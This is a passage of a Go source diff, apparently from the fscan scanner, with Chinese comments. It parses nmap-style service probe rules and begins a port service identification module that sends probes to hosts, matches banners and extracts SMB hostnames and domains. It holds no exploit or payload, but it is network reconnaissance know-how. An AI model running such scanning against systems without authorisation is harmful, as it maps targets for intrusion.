func (p *Probe) parseTCPWrappedMS(data string) {
|
||||
wrappedMS, err := strconv.Atoi(strings.TrimSpace(data[len("tcpwrappedms")+1:]))
|
||||
if err != nil {
|
||||
Common.LogDebug("解析TCP包装等待时间失败: " + err.Error())
|
||||
return
|
||||
}
|
||||
p.TCPWrappedMS = wrappedMS
|
||||
Common.LogDebug(fmt.Sprintf("TCP包装等待时间: %d ms", wrappedMS))
|
||||
}
|
||||
|
||||
// 解析稀有度
|
||||
func (p *Probe) parseRarity(data string) {
|
||||
rarity, err := strconv.Atoi(strings.TrimSpace(data[len("rarity")+1:]))
|
||||
if err != nil {
|
||||
Common.LogDebug("解析稀有度失败: " + err.Error())
|
||||
return
|
||||
}
|
||||
p.Rarity = rarity
|
||||
Common.LogDebug(fmt.Sprintf("稀有度: %d", rarity))
|
||||
}
|
||||
|
||||
// 解析回退配置
|
||||
func (p *Probe) parseFallback(data string) {
|
||||
p.Fallback = data[len("fallback")+1:]
|
||||
Common.LogDebug("回退配置: " + p.Fallback)
|
||||
}
|
||||
|
||||
// 判断是否为十六进制编码
|
||||
func isHexCode(b []byte) bool {
|
||||
matchRe := regexp.MustCompile(`\\x[0-9a-fA-F]{2}`)
|
||||
return matchRe.Match(b)
|
||||
}
|
||||
|
||||
// 判断是否为八进制编码
|
||||
func isOctalCode(b []byte) bool {
|
||||
matchRe := regexp.MustCompile(`\\[0-7]{1,3}`)
|
||||
return matchRe.Match(b)
|
||||
}
|
||||
|
||||
// 判断是否为结构化转义字符
|
||||
func isStructCode(b []byte) bool {
|
||||
matchRe := regexp.MustCompile(`\\[aftnrv]`)
|
||||
return matchRe.Match(b)
|
||||
}
|
||||
|
||||
// 判断是否为正则表达式特殊字符
|
||||
func isReChar(n int64) bool {
|
||||
reChars := `.*?+{}()^$|\`
|
||||
for _, char := range reChars {
|
||||
if n == int64(char) {
|
||||
return true
|
||||
}
|
||||
}
|
||||
return false
|
||||
}
|
||||
|
||||
// 判断是否为其他转义序列
|
||||
func isOtherEscapeCode(b []byte) bool {
|
||||
matchRe := regexp.MustCompile(`\\[^\\]`)
|
||||
return matchRe.Match(b)
|
||||
}
|
||||
|
||||
// 从内容解析探测器规则
|
||||
func (v *VScan) parseProbesFromContent(content string) {
|
||||
Common.LogDebug("开始解析探测器规则文件内容")
|
||||
var probes []Probe
|
||||
var lines []string
|
||||
|
||||
// 过滤注释和空行
|
||||
linesTemp := strings.Split(content, "\n")
|
||||
for _, lineTemp := range linesTemp {
|
||||
lineTemp = strings.TrimSpace(lineTemp)
|
||||
if lineTemp == "" || strings.HasPrefix(lineTemp, "#") {
|
||||
continue
|
||||
}
|
||||
lines = append(lines, lineTemp)
|
||||
}
|
||||
|
||||
// 验证文件内容
|
||||
if len(lines) == 0 {
|
||||
errMsg := "读取nmap-service-probes文件失败: 内容为空"
|
||||
Common.LogDebug("错误: " + errMsg)
|
||||
panic(errMsg)
|
||||
}
|
||||
|
||||
// 检查Exclude指令
|
||||
excludeCount := 0
|
||||
for _, line := range lines {
|
||||
if strings.HasPrefix(line, "Exclude ") {
|
||||
excludeCount++
|
||||
}
|
||||
if excludeCount > 1 {
|
||||
errMsg := "nmap-service-probes文件中只允许有一个Exclude指令"
|
||||
Common.LogDebug("错误: " + errMsg)
|
||||
panic(errMsg)
|
||||
}
|
||||
}
|
||||
|
||||
// 验证第一行格式
|
||||
firstLine := lines[0]
|
||||
if !(strings.HasPrefix(firstLine, "Exclude ") || strings.HasPrefix(firstLine, "Probe ")) {
|
||||
errMsg := "解析错误: 首行必须以\"Probe \"或\"Exclude \"开头"
|
||||
Common.LogDebug("错误: " + errMsg)
|
||||
panic(errMsg)
|
||||
}
|
||||
|
||||
// 处理Exclude指令
|
||||
if excludeCount == 1 {
|
||||
v.Exclude = firstLine[len("Exclude")+1:]
|
||||
lines = lines[1:]
|
||||
Common.LogDebug("解析到Exclude规则: " + v.Exclude)
|
||||
}
|
||||
|
||||
// 合并内容并分割探测器
|
||||
content = "\n" + strings.Join(lines, "\n")
|
||||
probeParts := strings.Split(content, "\nProbe")[1:]
|
||||
|
||||
// 解析每个探测器
|
||||
for _, probePart := range probeParts {
|
||||
probe := Probe{}
|
||||
if err := probe.fromString(probePart); err != nil {
|
||||
Common.LogDebug(fmt.Sprintf("解析探测器失败: %v", err))
|
||||
continue
|
||||
}
|
||||
probes = append(probes, probe)
|
||||
}
|
||||
|
||||
v.AllProbes = probes
|
||||
Common.LogDebug(fmt.Sprintf("成功解析 %d 个探测器规则", len(probes)))
|
||||
}
|
||||
|
||||
// 将探测器转换为名称映射
|
||||
func (v *VScan) parseProbesToMapKName() {
|
||||
Common.LogDebug("开始构建探测器名称映射")
|
||||
v.ProbesMapKName = map[string]Probe{}
|
||||
for _, probe := range v.AllProbes {
|
||||
v.ProbesMapKName[probe.Name] = probe
|
||||
Common.LogDebug("添加探测器映射: " + probe.Name)
|
||||
}
|
||||
}
|
||||
|
||||
// 设置使用的探测器
|
||||
func (v *VScan) SetusedProbes() {
|
||||
Common.LogDebug("开始设置要使用的探测器")
|
||||
|
||||
for _, probe := range v.AllProbes {
|
||||
if strings.ToLower(probe.Protocol) == "tcp" {
|
||||
if probe.Name == "SSLSessionReq" {
|
||||
Common.LogDebug("跳过 SSLSessionReq 探测器")
|
||||
continue
|
||||
}
|
||||
|
||||
v.Probes = append(v.Probes, probe)
|
||||
Common.LogDebug("添加TCP探测器: " + probe.Name)
|
||||
|
||||
// 特殊处理TLS会话请求
|
||||
if probe.Name == "TLSSessionReq" {
|
||||
sslProbe := v.ProbesMapKName["SSLSessionReq"]
|
||||
v.Probes = append(v.Probes, sslProbe)
|
||||
Common.LogDebug("为TLSSessionReq添加SSL探测器")
|
||||
}
|
||||
} else {
|
||||
v.UdpProbes = append(v.UdpProbes, probe)
|
||||
Common.LogDebug("添加UDP探测器: " + probe.Name)
|
||||
}
|
||||
}
|
||||
|
||||
Common.LogDebug(fmt.Sprintf("探测器设置完成,TCP: %d个, UDP: %d个",
|
||||
len(v.Probes), len(v.UdpProbes)))
|
||||
}
|
||||
|
||||
// 解析match指令获取匹配规则
|
||||
func (p *Probe) getMatch(data string) (match Match, err error) {
|
||||
Common.LogDebug("开始解析match指令:" + data)
|
||||
match = Match{}
|
||||
|
||||
// 提取match文本并解析指令语法
|
||||
matchText := data[len("match")+1:]
|
||||
directive := p.getDirectiveSyntax(matchText)
|
||||
|
||||
// 分割文本获取pattern和版本信息
|
||||
textSplited := strings.Split(directive.DirectiveStr, directive.Delimiter)
|
||||
if len(textSplited) == 0 {
|
||||
return match, fmt.Errorf("无效的match指令格式")
|
||||
}
|
||||
|
||||
pattern := textSplited[0]
|
||||
versionInfo := strings.Join(textSplited[1:], "")
|
||||
|
||||
// 解码并编译正则表达式
|
||||
patternUnescaped, decodeErr := DecodePattern(pattern)
|
||||
if decodeErr != nil {
|
||||
Common.LogDebug("解码pattern失败: " + decodeErr.Error())
|
||||
return match, decodeErr
|
||||
}
|
||||
|
||||
patternUnescapedStr := string([]rune(string(patternUnescaped)))
|
||||
patternCompiled, compileErr := regexp.Compile(patternUnescapedStr)
|
||||
if compileErr != nil {
|
||||
Common.LogDebug("编译正则表达式失败: " + compileErr.Error())
|
||||
return match, compileErr
|
||||
}
|
||||
|
||||
// 设置match对象属性
|
||||
match.Service = directive.DirectiveName
|
||||
match.Pattern = pattern
|
||||
match.PatternCompiled = patternCompiled
|
||||
match.VersionInfo = versionInfo
|
||||
|
||||
Common.LogDebug(fmt.Sprintf("解析match成功: 服务=%s, Pattern=%s",
|
||||
match.Service, match.Pattern))
|
||||
return match, nil
|
||||
}
|
||||
|
||||
// 解析softmatch指令获取软匹配规则
|
||||
func (p *Probe) getSoftMatch(data string) (softMatch Match, err error) {
|
||||
Common.LogDebug("开始解析softmatch指令:" + data)
|
||||
softMatch = Match{IsSoft: true}
|
||||
|
||||
// 提取softmatch文本并解析指令语法
|
||||
matchText := data[len("softmatch")+1:]
|
||||
directive := p.getDirectiveSyntax(matchText)
|
||||
|
||||
// 分割文本获取pattern和版本信息
|
||||
textSplited := strings.Split(directive.DirectiveStr, directive.Delimiter)
|
||||
if len(textSplited) == 0 {
|
||||
return softMatch, fmt.Errorf("无效的softmatch指令格式")
|
||||
}
|
||||
|
||||
pattern := textSplited[0]
|
||||
versionInfo := strings.Join(textSplited[1:], "")
|
||||
|
||||
// 解码并编译正则表达式
|
||||
patternUnescaped, decodeErr := DecodePattern(pattern)
|
||||
if decodeErr != nil {
|
||||
Common.LogDebug("解码pattern失败: " + decodeErr.Error())
|
||||
return softMatch, decodeErr
|
||||
}
|
||||
|
||||
patternUnescapedStr := string([]rune(string(patternUnescaped)))
|
||||
patternCompiled, compileErr := regexp.Compile(patternUnescapedStr)
|
||||
if compileErr != nil {
|
||||
Common.LogDebug("编译正则表达式失败: " + compileErr.Error())
|
||||
return softMatch, compileErr
|
||||
}
|
||||
|
||||
// 设置softMatch对象属性
|
||||
softMatch.Service = directive.DirectiveName
|
||||
softMatch.Pattern = pattern
|
||||
softMatch.PatternCompiled = patternCompiled
|
||||
softMatch.VersionInfo = versionInfo
|
||||
|
||||
Common.LogDebug(fmt.Sprintf("解析softmatch成功: 服务=%s, Pattern=%s",
|
||||
softMatch.Service, softMatch.Pattern))
|
||||
return softMatch, nil
|
||||
}
|
||||
|
||||
// 解码模式字符串,处理转义序列
|
||||
func DecodePattern(s string) ([]byte, error) {
|
||||
Common.LogDebug("开始解码pattern: " + s)
|
||||
sByteOrigin := []byte(s)
|
||||
|
||||
// 处理十六进制、八进制和结构化转义序列
|
||||
matchRe := regexp.MustCompile(`\\(x[0-9a-fA-F]{2}|[0-7]{1,3}|[aftnrv])`)
|
||||
sByteDec := matchRe.ReplaceAllFunc(sByteOrigin, func(match []byte) (v []byte) {
|
||||
var replace []byte
|
||||
|
||||
// 处理十六进制转义
|
||||
if isHexCode(match) {
|
||||
hexNum := match[2:]
|
||||
byteNum, _ := strconv.ParseInt(string(hexNum), 16, 32)
|
||||
if isReChar(byteNum) {
|
||||
replace = []byte{'\\', uint8(byteNum)}
|
||||
} else {
|
||||
replace = []byte{uint8(byteNum)}
|
||||
}
|
||||
}
|
||||
|
||||
// 处理结构化转义字符
|
||||
if isStructCode(match) {
|
||||
structCodeMap := map[int][]byte{
|
||||
97: []byte{0x07}, // \a 响铃
|
||||
102: []byte{0x0c}, // \f 换页
|
||||
116: []byte{0x09}, // \t 制表符
|
||||
110: []byte{0x0a}, // \n 换行
|
||||
114: []byte{0x0d}, // \r 回车
|
||||
118: []byte{0x0b}, // \v 垂直制表符
|
||||
}
|
||||
replace = structCodeMap[int(match[1])]
|
||||
}
|
||||
|
||||
// 处理八进制转义
|
||||
if isOctalCode(match) {
|
||||
octalNum := match[2:]
|
||||
byteNum, _ := strconv.ParseInt(string(octalNum), 8, 32)
|
||||
replace = []byte{uint8(byteNum)}
|
||||
}
|
||||
return replace
|
||||
})
|
||||
|
||||
// 处理其他转义序列
|
||||
matchRe2 := regexp.MustCompile(`\\([^\\])`)
|
||||
sByteDec2 := matchRe2.ReplaceAllFunc(sByteDec, func(match []byte) (v []byte) {
|
||||
if isOtherEscapeCode(match) {
|
||||
return match
|
||||
}
|
||||
return match
|
||||
})
|
||||
|
||||
Common.LogDebug("pattern解码完成")
|
||||
return sByteDec2, nil
|
||||
}
|
||||
|
||||
// ProbesRarity 用于按稀有度排序的探测器切片
|
||||
type ProbesRarity []Probe
|
||||
|
||||
// Len 返回切片长度,实现 sort.Interface 接口
|
||||
func (ps ProbesRarity) Len() int {
|
||||
return len(ps)
|
||||
}
|
||||
|
||||
// Swap 交换切片中的两个元素,实现 sort.Interface 接口
|
||||
func (ps ProbesRarity) Swap(i, j int) {
|
||||
ps[i], ps[j] = ps[j], ps[i]
|
||||
}
|
||||
|
||||
// Less 比较函数,按稀有度升序排序,实现 sort.Interface 接口
|
||||
func (ps ProbesRarity) Less(i, j int) bool {
|
||||
return ps[i].Rarity < ps[j].Rarity
|
||||
}
|
||||
|
||||
// Target 定义目标结构体
|
||||
type Target struct {
|
||||
IP string // 目标IP地址
|
||||
Port int // 目标端口
|
||||
Protocol string // 协议类型
|
||||
}
|
||||
|
||||
// ContainsPort 检查指定端口是否在探测器的端口范围内
|
||||
func (p *Probe) ContainsPort(testPort int) bool {
|
||||
Common.LogDebug(fmt.Sprintf("检查端口 %d 是否在探测器端口范围内: %s", testPort, p.Ports))
|
||||
|
||||
// 检查单个端口
|
||||
ports := strings.Split(p.Ports, ",")
|
||||
for _, port := range ports {
|
||||
port = strings.TrimSpace(port)
|
||||
cmpPort, err := strconv.Atoi(port)
|
||||
if err == nil && testPort == cmpPort {
|
||||
Common.LogDebug(fmt.Sprintf("端口 %d 匹配单个端口", testPort))
|
||||
return true
|
||||
}
|
||||
}
|
||||
|
||||
// 检查端口范围
|
||||
for _, port := range ports {
|
||||
port = strings.TrimSpace(port)
|
||||
if strings.Contains(port, "-") {
|
||||
portRange := strings.Split(port, "-")
|
||||
if len(portRange) != 2 {
|
||||
Common.LogDebug("无效的端口范围格式: " + port)
|
||||
continue
|
||||
}
|
||||
|
||||
start, err1 := strconv.Atoi(strings.TrimSpace(portRange[0]))
|
||||
end, err2 := strconv.Atoi(strings.TrimSpace(portRange[1]))
|
||||
|
||||
if err1 != nil || err2 != nil {
|
||||
Common.LogDebug(fmt.Sprintf("解析端口范围失败: %s", port))
|
||||
continue
|
||||
}
|
||||
|
||||
if testPort >= start && testPort <= end {
|
||||
Common.LogDebug(fmt.Sprintf("端口 %d 在范围 %d-%d 内", testPort, start, end))
|
||||
return true
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
Common.LogDebug(fmt.Sprintf("端口 %d 不在探测器端口范围内", testPort))
|
||||
return false
|
||||
}
|
||||
|
||||
// MatchPattern 使用正则表达式匹配响应内容
|
||||
func (m *Match) MatchPattern(response []byte) bool {
|
||||
// 将响应转换为字符串并进行匹配
|
||||
responseStr := string([]rune(string(response)))
|
||||
foundItems := m.PatternCompiled.FindStringSubmatch(responseStr)
|
||||
|
||||
if len(foundItems) > 0 {
|
||||
m.FoundItems = foundItems
|
||||
Common.LogDebug(fmt.Sprintf("匹配成功,找到 %d 个匹配项", len(foundItems)))
|
||||
return true
|
||||
}
|
||||
|
||||
return false
|
||||
}
|
||||
|
||||
// ParseVersionInfo 解析版本信息并返回额外信息结构
|
||||
func (m *Match) ParseVersionInfo(response []byte) Extras {
|
||||
Common.LogDebug("开始解析版本信息")
|
||||
var extras = Extras{}
|
||||
|
||||
// 替换版本信息中的占位符
|
||||
foundItems := m.FoundItems[1:] // 跳过第一个完整匹配项
|
||||
versionInfo := m.VersionInfo
|
||||
for index, value := range foundItems {
|
||||
dollarName := "$" + strconv.Itoa(index+1)
|
||||
versionInfo = strings.Replace(versionInfo, dollarName, value, -1)
|
||||
}
|
||||
Common.LogDebug("替换后的版本信息: " + versionInfo)
|
||||
|
||||
// 定义解析函数
|
||||
parseField := func(field, pattern string) string {
|
||||
patterns := []string{
|
||||
pattern + `/([^/]*)/`, // 斜线分隔
|
||||
pattern + `\|([^|]*)\|`, // 竖线分隔
|
||||
}
|
||||
|
||||
for _, p := range patterns {
|
||||
if strings.Contains(versionInfo, pattern) {
|
||||
regex := regexp.MustCompile(p)
|
||||
if matches := regex.FindStringSubmatch(versionInfo); len(matches) > 1 {
|
||||
Common.LogDebug(fmt.Sprintf("解析到%s: %s", field, matches[1]))
|
||||
return matches[1]
|
||||
}
|
||||
}
|
||||
}
|
||||
return ""
|
||||
}
|
||||
|
||||
// 解析各个字段
|
||||
extras.VendorProduct = parseField("厂商产品", " p")
|
||||
extras.Version = parseField("版本", " v")
|
||||
extras.Info = parseField("信息", " i")
|
||||
extras.Hostname = parseField("主机名", " h")
|
||||
extras.OperatingSystem = parseField("操作系统", " o")
|
||||
extras.DeviceType = parseField("设备类型", " d")
|
||||
|
||||
// 特殊处理CPE
|
||||
if strings.Contains(versionInfo, " cpe:/") || strings.Contains(versionInfo, " cpe:|") {
|
||||
cpePatterns := []string{`cpe:/([^/]*)`, `cpe:\|([^|]*)`}
|
||||
for _, pattern := range cpePatterns {
|
||||
regex := regexp.MustCompile(pattern)
|
||||
if cpeName := regex.FindStringSubmatch(versionInfo); len(cpeName) > 0 {
|
||||
if len(cpeName) > 1 {
|
||||
extras.CPE = cpeName[1]
|
||||
} else {
|
||||
extras.CPE = cpeName[0]
|
||||
}
|
||||
Common.LogDebug("解析到CPE: " + extras.CPE)
|
||||
break
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
return extras
|
||||
}
|
||||
|
||||
// ToMap 将 Extras 转换为 map[string]string
|
||||
func (e *Extras) ToMap() map[string]string {
|
||||
Common.LogDebug("开始转换Extras为Map")
|
||||
result := make(map[string]string)
|
||||
|
||||
// 定义字段映射
|
||||
fields := map[string]string{
|
||||
"vendor_product": e.VendorProduct,
|
||||
"version": e.Version,
|
||||
"info": e.Info,
|
||||
"hostname": e.Hostname,
|
||||
"os": e.OperatingSystem,
|
||||
"device_type": e.DeviceType,
|
||||
"cpe": e.CPE,
|
||||
}
|
||||
|
||||
// 添加非空字段到结果map
|
||||
for key, value := range fields {
|
||||
if value != "" {
|
||||
result[key] = value
|
||||
Common.LogDebug(fmt.Sprintf("添加字段 %s: %s", key, value))
|
||||
}
|
||||
}
|
||||
|
||||
Common.LogDebug(fmt.Sprintf("转换完成,共有 %d 个字段", len(result)))
|
||||
return result
|
||||
}
|
||||
|
||||
func DecodeData(s string) ([]byte, error) {
|
||||
if len(s) == 0 {
|
||||
Common.LogDebug("输入数据为空")
|
||||
return nil, fmt.Errorf("empty input")
|
||||
}
|
||||
|
||||
Common.LogDebug(fmt.Sprintf("开始解码数据,长度: %d, 内容: %q", len(s), s))
|
||||
sByteOrigin := []byte(s)
|
||||
|
||||
// 处理十六进制、八进制和结构化转义序列
|
||||
matchRe := regexp.MustCompile(`\\(x[0-9a-fA-F]{2}|[0-7]{1,3}|[aftnrv])`)
|
||||
sByteDec := matchRe.ReplaceAllFunc(sByteOrigin, func(match []byte) []byte {
|
||||
// 处理十六进制转义
|
||||
if isHexCode(match) {
|
||||
hexNum := match[2:]
|
||||
byteNum, err := strconv.ParseInt(string(hexNum), 16, 32)
|
||||
if err != nil {
|
||||
return match
|
||||
}
|
||||
return []byte{uint8(byteNum)}
|
||||
}
|
||||
|
||||
// 处理结构化转义字符
|
||||
if isStructCode(match) {
|
||||
structCodeMap := map[int][]byte{
|
||||
97: []byte{0x07}, // \a 响铃
|
||||
102: []byte{0x0c}, // \f 换页
|
||||
116: []byte{0x09}, // \t 制表符
|
||||
110: []byte{0x0a}, // \n 换行
|
||||
114: []byte{0x0d}, // \r 回车
|
||||
118: []byte{0x0b}, // \v 垂直制表符
|
||||
}
|
||||
if replace, ok := structCodeMap[int(match[1])]; ok {
|
||||
return replace
|
||||
}
|
||||
return match
|
||||
}
|
||||
|
||||
// 处理八进制转义
|
||||
if isOctalCode(match) {
|
||||
octalNum := match[2:]
|
||||
byteNum, err := strconv.ParseInt(string(octalNum), 8, 32)
|
||||
if err != nil {
|
||||
return match
|
||||
}
|
||||
return []byte{uint8(byteNum)}
|
||||
}
|
||||
|
||||
Common.LogDebug(fmt.Sprintf("无法识别的转义序列: %s", string(match)))
|
||||
return match
|
||||
})
|
||||
|
||||
// 处理其他转义序列
|
||||
matchRe2 := regexp.MustCompile(`\\([^\\])`)
|
||||
sByteDec2 := matchRe2.ReplaceAllFunc(sByteDec, func(match []byte) []byte {
|
||||
if len(match) < 2 {
|
||||
return match
|
||||
}
|
||||
if isOtherEscapeCode(match) {
|
||||
return []byte{match[1]}
|
||||
}
|
||||
return match
|
||||
})
|
||||
|
||||
if len(sByteDec2) == 0 {
|
||||
Common.LogDebug("解码后数据为空")
|
||||
return nil, fmt.Errorf("decoded data is empty")
|
||||
}
|
||||
|
||||
Common.LogDebug(fmt.Sprintf("解码完成,结果长度: %d, 内容: %x", len(sByteDec2), sByteDec2))
|
||||
return sByteDec2, nil
|
||||
}
|
||||
|
||||
// GetAddress 获取目标的完整地址(IP:端口)
|
||||
func (t *Target) GetAddress() string {
|
||||
addr := t.IP + ":" + strconv.Itoa(t.Port)
|
||||
Common.LogDebug("获取目标地址: " + addr)
|
||||
return addr
|
||||
}
|
||||
|
||||
// trimBanner 处理和清理横幅数据
|
||||
func trimBanner(buf []byte) string {
|
||||
Common.LogDebug("开始处理横幅数据")
|
||||
bufStr := string(buf)
|
||||
|
||||
// 特殊处理SMB协议
|
||||
if strings.Contains(bufStr, "SMB") {
|
||||
banner := hex.EncodeToString(buf)
|
||||
if len(banner) > 0xa+6 && banner[0xa:0xa+6] == "534d42" { // "SMB" in hex
|
||||
Common.LogDebug("检测到SMB协议数据")
|
||||
plain := banner[0xa2:]
|
||||
data, err := hex.DecodeString(plain)
|
||||
if err != nil {
|
||||
Common.LogDebug("SMB数据解码失败: " + err.Error())
|
||||
return bufStr
|
||||
}
|
||||
|
||||
// 解析domain
|
||||
var domain string
|
||||
var index int
|
||||
for i, s := range data {
|
||||
if s != 0 {
|
||||
domain += string(s)
|
||||
} else if i+1 < len(data) && data[i+1] == 0 {
|
||||
index = i + 2
|
||||
break
|
||||
}
|
||||
}
|
||||
|
||||
// 解析hostname
|
||||
var hostname string
|
||||
remainData := data[index:]
|
||||
for i, h := range remainData {
|
||||
if h != 0 {
|
||||
hostname += string(h)
|
||||
}
|
||||
if i+1 < len(remainData) && remainData[i+1] == 0 {
|
||||
break
|
||||
}
|
||||
}
|
||||
|
||||
smbBanner := fmt.Sprintf("hostname: %s domain: %s", hostname, domain)
|
||||
Common.LogDebug("SMB横幅: " + smbBanner)
|
||||
return smbBanner
|
||||
}
|
||||
}
|
||||
|
||||
// 处理常规数据
|
||||
var src string
|
||||
for _, ch := range bufStr {
|
||||
if ch > 32 && ch < 125 {
|
||||
src += string(ch)
|
||||
} else {
|
||||
src += " "
|
||||
}
|
||||
}
|
||||
|
||||
// 清理多余空白
|
||||
re := regexp.MustCompile(`\s{2,}`)
|
||||
src = re.ReplaceAllString(src, ".")
|
||||
result := strings.TrimSpace(src)
|
||||
Common.LogDebug("处理后的横幅: " + result)
|
||||
return result
|
||||
}
|
||||
|
||||
// Init 初始化VScan对象
|
||||
func (v *VScan) Init() {
|
||||
Common.LogDebug("开始初始化VScan")
|
||||
v.parseProbesFromContent(ProbeString)
|
||||
v.parseProbesToMapKName()
|
||||
v.SetusedProbes()
|
||||
Common.LogDebug("VScan初始化完成")
|
||||
}
|
476
Core/PortInfo.go
Normal file
476
Core/PortInfo.go
Normal file
@ -0,0 +1,476 @@
|
||||
package Core
|
||||
|
||||
import (
|
||||
"fmt"
|
||||
"github.com/shadow1ng/fscan/Common"
|
||||
"io"
|
||||
"net"
|
||||
"strings"
|
||||
"time"
|
||||
)
|
||||
|
||||
// ServiceInfo 定义服务识别的结果信息
|
||||
type ServiceInfo struct {
|
||||
Name string // 服务名称,如 http、ssh 等
|
||||
Banner string // 服务返回的横幅信息
|
||||
Version string // 服务版本号
|
||||
Extras map[string]string // 其他额外信息,如操作系统、产品名等
|
||||
}
|
||||
|
||||
// Result 定义单次探测的结果
|
||||
type Result struct {
|
||||
Service Service // 识别出的服务信息
|
||||
Banner string // 服务横幅
|
||||
Extras map[string]string // 额外信息
|
||||
Send []byte // 发送的探测数据
|
||||
Recv []byte // 接收到的响应数据
|
||||
}
|
||||
|
||||
// Service 定义服务的基本信息
|
||||
type Service struct {
|
||||
Name string // 服务名称
|
||||
Extras map[string]string // 服务的额外属性
|
||||
}
|
||||
|
||||
// Info 定义单个端口探测的上下文信息
|
||||
type Info struct {
|
||||
Address string // 目标IP地址
|
||||
Port int // 目标端口
|
||||
Conn net.Conn // 网络连接
|
||||
Result Result // 探测结果
|
||||
Found bool // 是否成功识别服务
|
||||
}
|
||||
|
||||
// PortInfoScanner 定义端口服务识别器
|
||||
type PortInfoScanner struct {
|
||||
Address string // 目标IP地址
|
||||
Port int // 目标端口
|
||||
Conn net.Conn // 网络连接
|
||||
Timeout time.Duration // 超时时间
|
||||
info *Info // 探测上下文
|
||||
}
|
||||
|
||||
// 预定义的基础探测器
|
||||
var (
|
||||
null = new(Probe) // 空探测器,用于基本协议识别
|
||||
common = new(Probe) // 通用探测器,用于常见服务识别
|
||||
)
|
||||
|
||||
// NewPortInfoScanner 创建新的端口服务识别器实例
|
||||
func NewPortInfoScanner(addr string, port int, conn net.Conn, timeout time.Duration) *PortInfoScanner {
|
||||
return &PortInfoScanner{
|
||||
Address: addr,
|
||||
Port: port,
|
||||
Conn: conn,
|
||||
Timeout: timeout,
|
||||
info: &Info{
|
||||
Address: addr,
|
||||
Port: port,
|
||||
Conn: conn,
|
||||
Result: Result{
|
||||
Service: Service{},
|
||||
},
|
||||
},
|
||||
}
|
||||
}
|
||||
|
||||
// Identify 执行服务识别,返回识别结果
|
||||
func (s *PortInfoScanner) Identify() (*ServiceInfo, error) {
|
||||
Common.LogDebug(fmt.Sprintf("开始识别服务 %s:%d", s.Address, s.Port))
|
||||
s.info.PortInfo()
|
||||
|
||||
// 构造返回结果
|
||||
serviceInfo := &ServiceInfo{
|
||||
Name: s.info.Result.Service.Name,
|
||||
Banner: s.info.Result.Banner,
|
||||
Version: s.info.Result.Service.Extras["version"],
|
||||
Extras: make(map[string]string),
|
||||
}
|
||||
|
||||
// 复制额外信息
|
||||
for k, v := range s.info.Result.Service.Extras {
|
||||
serviceInfo.Extras[k] = v
|
||||
}
|
||||
|
||||
Common.LogDebug(fmt.Sprintf("服务识别完成 %s:%d => %s", s.Address, s.Port, serviceInfo.Name))
|
||||
return serviceInfo, nil
|
||||
}
|
||||
|
||||
// PortInfo 执行端口服务识别的主要逻辑
|
||||
func (i *Info) PortInfo() {
|
||||
// 1. 首先尝试读取服务的初始响应
|
||||
if response, err := i.Read(); err == nil && len(response) > 0 {
|
||||
Common.LogDebug(fmt.Sprintf("收到初始响应: %d 字节", len(response)))
|
||||
|
||||
// 使用基础探测器检查响应
|
||||
Common.LogDebug("尝试使用基础探测器(null/common)检查响应")
|
||||
if i.tryProbes(response, []*Probe{null, common}) {
|
||||
Common.LogDebug("基础探测器匹配成功")
|
||||
return
|
||||
}
|
||||
Common.LogDebug("基础探测器未匹配")
|
||||
} else if err != nil {
|
||||
Common.LogDebug(fmt.Sprintf("读取初始响应失败: %v", err))
|
||||
}
|
||||
|
||||
// 记录已使用的探测器,避免重复使用
|
||||
usedProbes := make(map[string]struct{})
|
||||
|
||||
// 2. 尝试使用端口专用探测器
|
||||
Common.LogDebug(fmt.Sprintf("尝试使用端口 %d 的专用探测器", i.Port))
|
||||
if i.processPortMapProbes(usedProbes) {
|
||||
Common.LogDebug("端口专用探测器匹配成功")
|
||||
return
|
||||
}
|
||||
Common.LogDebug("端口专用探测器未匹配")
|
||||
|
||||
// 3. 使用默认探测器列表
|
||||
Common.LogDebug("尝试使用默认探测器列表")
|
||||
if i.processDefaultProbes(usedProbes) {
|
||||
Common.LogDebug("默认探测器匹配成功")
|
||||
return
|
||||
}
|
||||
Common.LogDebug("默认探测器未匹配")
|
||||
|
||||
// 4. 如果所有探测都失败,标记为未知服务
|
||||
if strings.TrimSpace(i.Result.Service.Name) == "" {
|
||||
Common.LogDebug("未识别出服务,标记为 unknown")
|
||||
i.Result.Service.Name = "unknown"
|
||||
}
|
||||
}
|
||||
|
||||
// tryProbes 尝试使用指定的探测器列表检查响应
|
||||
func (i *Info) tryProbes(response []byte, probes []*Probe) bool {
|
||||
for _, probe := range probes {
|
||||
Common.LogDebug(fmt.Sprintf("尝试探测器: %s", probe.Name))
|
||||
i.GetInfo(response, probe)
|
||||
if i.Found {
|
||||
Common.LogDebug(fmt.Sprintf("探测器 %s 匹配成功", probe.Name))
|
||||
return true
|
||||
}
|
||||
}
|
||||
return false
|
||||
}
|
||||
|
||||
// processPortMapProbes 处理端口映射中的专用探测器
|
||||
func (i *Info) processPortMapProbes(usedProbes map[string]struct{}) bool {
|
||||
// 检查是否存在端口专用探测器
|
||||
if len(Common.PortMap[i.Port]) == 0 {
|
||||
Common.LogDebug(fmt.Sprintf("端口 %d 没有专用探测器", i.Port))
|
||||
return false
|
||||
}
|
||||
|
||||
// 遍历端口专用探测器
|
||||
for _, name := range Common.PortMap[i.Port] {
|
||||
Common.LogDebug(fmt.Sprintf("尝试端口专用探测器: %s", name))
|
||||
usedProbes[name] = struct{}{}
|
||||
probe := v.ProbesMapKName[name]
|
||||
|
||||
// 解码探测数据
|
||||
probeData, err := DecodeData(probe.Data)
|
||||
if err != nil || len(probeData) == 0 {
|
||||
Common.LogDebug(fmt.Sprintf("探测器 %s 数据解码失败", name))
|
||||
continue
|
||||
}
|
||||
|
||||
// 发送探测数据并获取响应
|
||||
Common.LogDebug(fmt.Sprintf("发送探测数据: %d 字节", len(probeData)))
|
||||
if response := i.Connect(probeData); len(response) > 0 {
|
||||
Common.LogDebug(fmt.Sprintf("收到响应: %d 字节", len(response)))
|
||||
|
||||
// 使用当前探测器检查响应
|
||||
i.GetInfo(response, &probe)
|
||||
if i.Found {
|
||||
return true
|
||||
}
|
||||
|
||||
// 根据探测器类型进行额外检查
|
||||
switch name {
|
||||
case "GenericLines":
|
||||
if i.tryProbes(response, []*Probe{null}) {
|
||||
return true
|
||||
}
|
||||
case "NULL":
|
||||
continue
|
||||
default:
|
||||
if i.tryProbes(response, []*Probe{common}) {
|
||||
return true
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
return false
|
||||
}
|
||||
|
||||
// processDefaultProbes 处理默认探测器列表
|
||||
func (i *Info) processDefaultProbes(usedProbes map[string]struct{}) bool {
|
||||
failCount := 0
|
||||
